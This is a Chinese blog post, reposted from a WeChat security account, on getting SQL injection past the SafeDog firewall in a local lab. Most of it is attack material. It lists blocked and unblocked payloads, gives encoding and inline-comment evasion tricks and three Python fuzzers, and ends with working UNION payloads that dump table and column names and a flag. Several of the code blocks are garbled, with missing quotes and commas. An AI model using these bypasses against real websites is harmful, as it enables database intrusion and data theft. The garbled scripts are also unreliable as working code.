SQL注入 Bypass

admin 2022年2月24日10:23:51评论111 views字数 5998阅读19分59秒阅读模式

微信公众号:渊龙Sec安全团队
为国之安全而奋斗,为信息安全而发声!
如有问题或建议,请在公众号后台留言
如果你觉得本文对你有帮助,欢迎在文章底部赞赏我们

前言

基于前两篇文件上传Bypass的感悟,现在想来试试SQL注入的Bypass。为此,我还特地去要了MySql官方的中文手册,打算从中找不同。

现在的大型站点对于SQL注入这类漏洞,策略做的很好。基本上很难找到注入点,那种小公司小cms除外。但是挖到就是赚到嘛,Bypass也是要研究的。

对于MySql我原本打算利用已有函数尝试去对字符修改执行啥的,结果发现压根就不行,不会被解析。(下面内容有发现转折点,是可以被解析的)故此,只能根据已有轮子造轮子,但是我还是想自己琢磨琢磨,且先看我说些废话。

测试过程(and,or,xor)

实验代码为字符型注入

1'and -- ' 不拦
2'and 1-- ' 拦截
3'and/*//*/1=1-- ' 不拦*
4'or -- ' 不拦
5'or 1 -- ' 拦截
6'xor -- ' 不拦
7'xor 1-- ' 拦截

由此可知,一旦我们用数字和关键字组合就会触发检测机制。
通过查看mysql manual 8.0 内置函数和运算符参考篇章,了解到andorxor有对应的字符集(虽然我一直都知道,但是假装认真严谨)。

参考连接:
https://dev.mysql.com/doc/refman/8.0/en/built-in-function-reference.html

 1’& -- ' 不拦
2'& 1-- ' 拦截
3'&true -- ' 拦截
4'| -- ' 不拦
5'| 1-- ' 拦截
6'|true -- ' 不拦*
7'|true=true -- ' 不拦*
8'^ -- ' 不拦
9'^ 0 -- ' 不拦*
10'^true-- ' 不拦*
11'^true=true -- ' 不拦*

经过测试发现🐕对字符和数字检测没有很严谨,还是出现了很多可以绕过的情况。

根据http的解析特性,我们可以对特殊字符进行url编码

 1& ==> %26
2| ==> %7C
3^ ==> %5E
4
5'%26 1-- ' 拦截
6'%26 TRUE-- ' 拦截
7'%7C 1-- ' 拦截
8'%7Ctrue-- ' 不拦* 
9'%5E 0-- ' 不拦*
10'%5E false-- ' 不拦*

利用URL编码字符+内置函数判断

测试来测试去的,发现url编码+函数可以让函数被解析,我的mysql版本为5.7,8.0的某些函数无法使用,我就测试了一些,并且有些函数是无法解析的。函数很多,测完头都秃了。

1'%26ABS(1)-- ' 不拦*  # ABS() 取绝对值 取值范围:0,1
2'%26ACOS(-1)-- ' 不拦* # ACOS() 反余弦 取值范围:-1~1 ==> 1=0 -1=Π
3'%26(ASCII(0))-- ' 不拦* # ASCII() 返回最左边字符的数值 取值范围:0,1
4'%26(cos(0.5))-- ' 不拦* # cos() 余弦 取值范围:cos(0.5) 正常 cos(0.5)*0 不正常
5'%26(hex(0x00))-- ' 不拦* # hex() 16进制编码 取值范围:0x01,0x00
6'%26(IF(1<0,1,0))-- ' 不拦* # if() 条件判断 取值范围:> <

就先测试这么多把,剩下的测试我会发在自己的星球里面


吹一下,我的星球都是我自己的技术学习的过程和总结,我感觉是有点东西的。价格不贵也就66元。进过星球的我都问了,内容都有认可的,也不算割韭菜了。如果想白嫖的话,就看公众号吧(是恒恒呐渊龙Sec安全团队是小齐哦),我随缘发两篇,或者看其他大佬的文章,我只是个弟弟。


MySql中的注释

1# :从一个#字符到行尾。
2
3-- :从一个-- 序列到行尾。在 MySQL 中,-- (双破折号)注释样式要求第二个破折号后跟至少一个空格或控制字符(例如空格、制表符、换行符等)。
4
5/**/ :从一个/*序列到下面的 */序列,就像在 C 编程语言中一样。此语法使注释可以扩展到多行,因为开始和结束序列不必在同一行。
6
7/*!*/ : MySQL 服务器支持 C 风格注释的某些变体(内联注释),如果在! 字符后添加版本号,则仅当 MySQL 版本大于或等于指定的版本号时,才会执行注释中的语法。以下注释中的KEY_BLOCK_SIZE关键字仅由 MySQL 5.1.10 或更高版本的服务器执行:
8    CREATE TABLE t1(a INT, KEY (a)) /*!50110 KEY_BLOCK_SIZE=1024 */;

URL空白字符

1%09 %0a %0b %0c %0d %20

order by

1'order -- ' 不拦截
2'order by -- ' 拦截

order by的组合会触发安全狗的机制
尝试对order或者by或者空格做处理。

Fuzz代码如下

 1import requests
2import string
3s1 = '/*!'
4s2 = '/*'
5s3 = '*/'
6url = 'http://127.0.0.1/f/index.php?id=1''
7f = open('result.txt''w+')
8for j  in string.printable:
9    for i in range(1,10):
10        resp = requests.get(f'{url}order{s2}{i*j}{s3}by 5 -- '', timeout=5)
11        resp.encoding = '
utf8'
12        if "用户名" in resp.text:
13            f.write(f'
{url}order{s2}{i*j}{s3}by 5 -- 'n')
14            print(f'{url}order{s2}{i*j}{s3}by 5 --'')
15f.close()
16

SQL注入 Bypass

根据fuzz后给的payload,可以发现注释符里加/不论多少都能够绕过安全狗

SQL注入 Bypass

union select

按照上面的思路继续测试,发现被拦截了

SQL注入 Bypass

那这里我们尝试用上内联注释继续Fuzz

 1import requests
2from concurrent.futures import ThreadPoolExecutor
3
4s1 = '/*!'
5s2 = '/*'
6s3 = '*/'
7url = 'http://127.0.0.1/f/index.php?id=1'^1 '
8f = open('union.txt''w+')
9
10def fuzz(num):
11    payload_url = f'{url}union/*//*/{s1}{num}select{s3}1,2,3,4,5 -- ''
12    resp = requests.get(payload_url, timeout=5)
13    resp.encoding = '
utf8'
14    if "用户名" in resp.text:
15        f.write(payload_url+'
n')
16        print(f'
success: {payload_url}')
17    else:
18        print(f'
error: {payload_url}')
19
20if __name__ == '
__main__':
21    with ThreadPoolExecutor(50) as t:
22        for i in range(50000,60000):
23            t.submit(fuzz, i)
24    f.close()
25

SQL注入 Bypass

fuzz后可以发现有16条可用payload,尝试获取信息。
常规database()version()user()被检测,继续fuzz
fuzz大法果然妙~

 1import requests
2from concurrent.futures import ThreadPoolExecutor
3
4s1 = '/*!'
5s2 = '/*'
6s3 = '*/'
7url = 'http://127.0.0.1/f/index.php?id=1'^1 '
8f = open('func.txt''w+')
9
10func = ['database''user''version']  # 要检测的函数
11
12spechar = ['/*/*/''/*!50644%0a*/''/*!50443%0b']  # 自己添加特殊字符fuzz,绕过空格
13
14def fuzz(func, spechar):
15    payload_url = f'{url}union/*//*//*!50644select*/1,2,{func}({spechar}),4,5 -- ''
16    resp = requests.get(payload_url, timeout=5)
17    resp.encoding = '
utf8'
18    if "用户名" in resp.text:
19        f.write(payload_url+'
n')
20        print(f'
success: {payload_url}')
21    else:
22        print(f'
error: {payload_url}')
23
24if __name__ == '
__main__':
25    with ThreadPoolExecutor(50) as t:
26        for i in range(len(func)):
27            for j in range(len(spechar)):
28                t.submit(fuzz, func[i], spechar[j])
29    f.close()
30

SQL注入 Bypass

版本号没fuzz处成功的,懒得加payload了,可以自己添加继续fuzz

SQL注入 Bypass

经过测试,查表语句🐕检测的是from后的表名,对table_name等关键字没有检测,继续fuzz。

此处过去十分漫长的时间…

特殊字符的运用

经过长时间的测试以及看了大佬的文章,发现特殊字符也有门道。
首先,我从pystring模块提取了特殊字符的列表,然后加入了payload中测试。发现#后面的特殊字符被截断了,删除井号之后被检测,那就意味着只要我们能够带上#(%23)就可以让语句正常显示,不被检测,把这一部分注释了就好了。

SQL注入 Bypass

 1import requests
2from concurrent.futures import ThreadPoolExecutor
3import string
4
5s1 = '/*!50644'
6s2 = '/*'
7s3 = '*/'
8s4 = '!'
9url = 'http://127.0.0.1/f/index.php?id=1'^1 union/*//*//*!50644select*/1,2,group_concat(table_name),4,5 from%09'
10f = open('schema.txt''w+')
11fuzz_func = ["IF(1>0, %23,%23)","REGEXP "[%23]"""REGEXP_INSTR(%23, 'dog')"] # 剩下的函数自己添加吧,太多了。
12
13def fuzz(fuzz):
14    payload_url = f'{url}({s2}{fuzz}{s3}%0a{s1}{s2}{s4}information_schema.tables%0a{s3}) -- ''
15    resp = requests.get(payload_url, timeout=5)
16    resp.encoding = 'utf8'
17    if "用户名" in resp.text:
18        f.write(payload_url+'n')
19        print(f'success: {payload_url}n')
20    else:
21        print(f'error: {payload_url}n')
22
23if __name__ == '__main__':
24    with ThreadPoolExecutor(50as t:
25        for i in range(len(fuzz_func)):
26            t.submit(fuzz, fuzz_func[i])
27    f.close()

SQL注入 Bypass

SQL注入 Bypass

SQL注入 Bypass

温馨提示:group_concat最大长度限制为1024!
拿到当前数据表名,后就可以开始抓字段了,其实到这里差不多就结束了。

1'^1 union/*//*//*!50644select*/1,2,group_concat(table_name),4,5 from%09(/*REGEXP "[%23]"*/%0a/*!50644/*!information_schema.tables%0a*/)  where table_schema=database(/*//*/)-- '

SQL注入 Bypass

那字段值,爆出来后我直接拿flag好了。

1'^1 union/*//*//*!50644select*/1,2,group_concat(column_name),4,5 from%09(/*REGEXP "[%23]"*/%0a/*!50644/*!information_schema.columns%0a*/)  where table_schema=database(/*//*/)-- '

SQL注入 Bypass


1'^1 union/*//*//*!50644select*/1,2,group_concat(flag),4,5 from/*/*/flag-- '

SQL注入 Bypass

到这里bypass 安全狗就结束了

做了一整天,之前都没接触过过Waf,收获很多,思路大开

我的星球二维码

SQL注入 Bypass

我是ILU,我在渊龙Sec安全团队等你
微信公众号:渊龙Sec安全团队
欢迎关注我,一起学习,一起进步~
本篇文章为团队成员原创文章,请不要擅自盗取!

SQL注入 Bypass

原文始发于微信公众号(渊龙Sec安全团队):SQL注入 Bypass

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年2月24日10:23:51
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   SQL注入 Bypasshttps://cn-sec.com/archives/800658.html

发表评论

匿名网友 填写信息